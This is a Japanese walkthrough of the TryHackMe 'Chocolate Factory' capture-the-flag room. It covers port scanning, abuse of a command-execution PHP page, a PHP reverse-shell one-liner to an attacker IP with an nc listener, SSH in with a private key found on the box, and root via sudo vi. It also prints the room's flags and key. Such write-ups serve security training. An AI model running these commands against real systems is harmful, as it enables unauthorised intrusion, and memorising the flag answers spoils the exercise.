【TryHackMe】Chocolate Factory：Walkthrough

# 概要

TryHackMe「Chocolate Factory」のWalkthroughです。

https://tryhackme.com/r/room/chocolatefactory

# Task2

## **Q1**.*Enter the key you found!*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 10.10.155.126 -oN nmap_result
PORT    STATE SERVICE    VERSION
21/tcp  open  ftp        vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r--    1 1000     1000       208838 Sep 30  2020 gum_room.jpg
22/tcp  open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 16:31:bb:b5:1f:cc:cc:12:14:8f:f0:d8:33:b0:08:9b (RSA)
|   256 e7:1f:c9:db:3e:aa:44:b6:72:10:3c:ee:db:1d:33:90 (ECDSA)
|_  256 b4:45:02:b6:24:8e:a9:06:5f:6c:79:44:8a:06:55:5e (ED25519)
80/tcp  open  http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
100/tcp open  newacct?
| fingerprint-strings: 
|   GetRequest, RPCCheck: 
|     "Welcome to chocolate room!! 
|     ___.---------------.
|     .'__'__'__'__'__,` . ____ ___ \r
|     _:\x20 |:. \x20 ___ \r
|     \'__'__'__'__'_`.__| `. \x20 ___ \r
|     \'__'__'__\x20__'_;-----------------`
|     \|______________________;________________|
|     small hint from Mr.Wonka : Look somewhere else, its not here! ;) 
|_    hope you wont drown Augustus"
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|22|ssh|OpenSSH 7.6p1|
|80|http|Apache httpd 2.4.29|

`80`番ポートでWebサイトにアクセスできました。

![home page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/dd409aa6-4b2e-dad2-7055-c959c514f14d.jpeg)

ディレクトリ列挙を行います。

```
$ dirsearch -u http://10.10.155.126
[15:43:34] 200 -  330B  - /home.php
[15:43:36] 200 -  273B  - /index.php.bak
```

`/home.php`にアクセスするとコマンドを実行できるフォームが表示されました。

![home php.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/beb67a7e-59f9-f6bc-bc1f-34055d801cc0.jpeg)

フォームを送信し、OSコマンドを実行出来ました。

![command injection.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c445fb6d-3111-aace-2f51-ac9160d54162.jpeg)

`index.php.bak`をダウンロードしました。
`/home.php`のソースコードである可能性が高いです。

```index.php.bak    
<html>
<body>
<form method="POST">
    <input id="comm" type="text" name="command" placeholder="Command">
    <button>Execute</button>
</form>
<?php
    if(isset($_POST['command']))
    {
        $cmd = $_POST['command'];
        echo shell_exec($cmd);
    }
?>
```

PHPのリバースシェルコマンドを送信し、接続を確立しました。

```
php -r '$sock=fsockopen("10.6.55.144",1234);shell_exec("sh <&3 >&3 2>&3");'
```

```
$ nc -lvnp 1234                                        
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.155.126] 41234
whoami
www-data
```

TTYを設定します。

```
python -c 'import pty; pty.spawn("/bin/sh")'
```

`/var/www/html/key_rev_key`の文字列を確認するとキーが見つかりました。

```
$ strings key_rev_key

(省略)

Enter your name: 
laksdhfas
 congratulations you have found the key:   
b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
 Keep its safe
Bad name!
```

**A**.**b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='**

## **Q2**.*What is Charlie's password?*

`/var/www/html/validate.php`から`charlie`のパスワードを確認できました。

```/var/www/html/validate.php
<?php
    $uname=$_POST['uname'];
    $password=$_POST['password'];
    if($uname=="charlie" && $password=="cn7824"){
            echo "<script>window.location='home.php'</script>";
    }
    else{
            echo "<script>alert('Incorrect Credentials');</script>";
            echo "<script>window.location='index.html'</script>";
    }
```

**A**.**cn7824**

## **Q3**.*change user to charlie*

`charlie`アカウントにSSH接続します。
`/home/charlie/teleport.pub`でSSHの公開鍵を確認できました。

```/home/charlie/teleport.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhp2s9zdSH3xFgOtnwJQEOBYsQ1TJsXrSUyT1hA4ENH6Cm5FbUDMvXYrfn8yLdXC2nQ1LCaVLuFrjL2y/aQ9e/yUU6YuLUVXaGqVA8vD+6ecQXBRsvgoGoF6YgN59XmnEyYKqqC4lciTOSUAhc1iF/EuvxwFL8cmiH/uqYuqsOhc2HBiMHfOCi/tFS2TXkm/XUPQi2zKvnim9iEJCB2iitTuXjYRklrIiiYcqifWOSh93X+hh84HCDPok6U0fWMUmjIhmDY6YSGdKNSW1n2ZLOZDK/czgA5FCjdl4tv7NudInJwQRFo5s+VvR1HLcqg3v2W352H6NKD90z9Nhh7kvj charlie@chocolate-factory
```

`/home/charlie/teleport`はSSHの秘密鍵でした。

```
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4adrPc3Uh98RYDrZ8CUBDgWLENUybF60lMk9YQOBDR+gpuRW
1AzL12K35/Mi3Vwtp0NSwmlS7ha4y9sv2kPXv8lFOmLi1FV2hqlQPLw/unnEFwUb

(省略)

G2QwOAGbsQHcI0P19XgHTOB7Dm69rP9j1wIRBOF7iGfwhWdi+vln
-----END RSA PRIVATE KEY-----
```

Kaliに`/home/charlie/teleport`をコピーし、パーミッションを設定します。

```
$ chmod 600 id_rsa
```

パスワード`cn7824`を使用して秘密鍵でSSH接続できました。

```
$ ssh -i id_rsa charlie@10.10.155.126
```

## **Q4**.*Enter the user flag*

`/home/charlie/user.txt`からフラグを入手できます。

```/home/charlie/user.txt 
flag{cd5509042371b34e4826e4838b522d2e}
```

**A**.**flag{cd5509042371b34e4826e4838b522d2e}**

## **Q5**.*Enter the root flag*

**Hint**.*Try python instead of python3!*

`sudo -l`で確認します。

```
$ sudo -l
Matching Defaults entries for charlie on chocolate-factory:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User charlie may run the following commands on chocolate-factory:
    (ALL : !root) NOPASSWD: /usr/bin/vi
```

GTFOBinsで権限昇格のテクニックがヒットしました。

https://gtfobins.github.io/gtfobins/vi/#sudo

実行し、rootのシェルを取得できました。

```
$ sudo /usr/bin/vi -c ':!/bin/sh' /dev/null
# whoami
root
```

`/root`配下を確認すると`/root/root.py`を発見しました。

```
# ls -l /root
total 4
-rwxr-xr-x 1 charlie charley 491 Oct  1  2020 root.py
```

処理を見ると、適切なキーを与えればメッセージを復号できそうです。

https://timesaving.hatenablog.com/entry/2020/12/31/110000


```/root/root.py
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key:  ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)
```

キーはQ1で見つけています。
`/root/root.py`をKaliにコピーしソースコードのキーの部分を編集します。

```python.py
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key:  ")

# 変更
f=Fernet(b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=')

encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)
```

pythonで実行し、フラグを入手できました。

```
$ python python.py          
Enter the key:  
__   __               _               _   _                 _____ _          
\ \ / /__  _   _     / \   _ __ ___  | \ | | _____      __ |_   _| |__   ___ 
 \ V / _ \| | | |   / _ \ | '__/ _ \ |  \| |/ _ \ \ /\ / /   | | | '_ \ / _ \
  | | (_) | |_| |  / ___ \| | |  __/ | |\  | (_) \ V  V /    | | | | | |  __/
  |_|\___/ \__,_| /_/   \_\_|  \___| |_| \_|\___/ \_/\_/     |_| |_| |_|\___|
                                                                             
  ___                              ___   __  
 / _ \__      ___ __   ___ _ __   / _ \ / _| 
| | | \ \ /\ / / '_ \ / _ \ '__| | | | | |_  
| |_| |\ V  V /| | | |  __/ |    | |_| |  _| 
 \___/  \_/\_/ |_| |_|\___|_|     \___/|_|   
                                             

  ____ _                     _       _       
 / ___| |__   ___   ___ ___ | | __ _| |_ ___ 
| |   | '_ \ / _ \ / __/ _ \| |/ _` | __/ _ \
| |___| | | | (_) | (_| (_) | | (_| | ||  __/
 \____|_| |_|\___/ \___\___/|_|\__,_|\__\___|
                                             
 _____          _                    
|  ___|_ _  ___| |_ ___  _ __ _   _  
| |_ / _` |/ __| __/ _ \| '__| | | | 
|  _| (_| | (__| || (_) | |  | |_| | 
|_|  \__,_|\___|\__\___/|_|   \__, | 
                              |___/  

flag{cec59161d338fef787fcb4e296b42124}
```

**A**.**flag{cec59161d338fef787fcb4e296b42124}**